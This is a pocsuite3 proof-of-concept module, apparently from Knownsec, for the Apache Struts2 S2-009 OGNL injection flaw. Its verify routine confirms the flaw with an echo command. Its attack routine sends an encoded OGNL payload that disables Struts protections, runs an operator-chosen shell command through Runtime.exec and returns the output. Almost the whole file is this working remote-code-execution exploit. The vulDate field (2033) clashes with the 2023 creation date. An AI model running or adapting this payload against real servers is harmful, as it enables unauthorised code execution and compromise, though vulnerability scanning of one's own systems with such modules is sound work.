from collections import OrderedDict
from urllib.parse import quote

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str


class DemoPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['knownsec.com']
    vulDate = '2033-11-15'
    createDate = '2023-11-15'
    updateDate = '2023-11-15'
    references = ['https://cwiki.apache.org/confluence/display/WW/S2-009']
    name = 'Apache Struts2 s2-009'
    appPowerLink = ''
    appName = 'Apache Struts2'
    appVersion = 'Struts 2.0.0 - Struts 2.3.1.1'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''S2-009:影响版本Struts 2.0.0-2.3.1.1'''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString('', description="可执行的shell命令")
        return o

    def _verify(self):
        p = self._check()
        if p:
            return self.parse_output(p)

    def _check(self):
        result = {}
        hash_str = random_str(10)
        exec_payload = "(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27{cmd}%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[({key})(%27meh%27)]"
        command = "echo " + hash_str
        key = "actionName"
        payload = exec_payload.format(cmd=quote(command), key=key)
        html = requests.get(self.url + "?{}={}".format(key, payload)).text
        if hash_str in html:
            result["VerifyInfo"] = {
                "URL": self.url,
                "PAYLOAD": payload,
            }

            return result
        return False

    def _attack(self):
        p = self._check()
        result = {}
        if p:
            exec_payload = "(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27{cmd}%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[({key})(%27meh%27)]"
            command = self.get_option("command")
            key = "actionName"
            payload = exec_payload.format(cmd=quote(command), key=key)
            html = requests.get(self.url + "?{}={}".format(key, payload)).text

            result["VerifyInfo"] = {
                "URL": self.url,
                "PAYLOAD": payload,
                "HTML": html.replace("\x00", "").encode()
            }

        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)
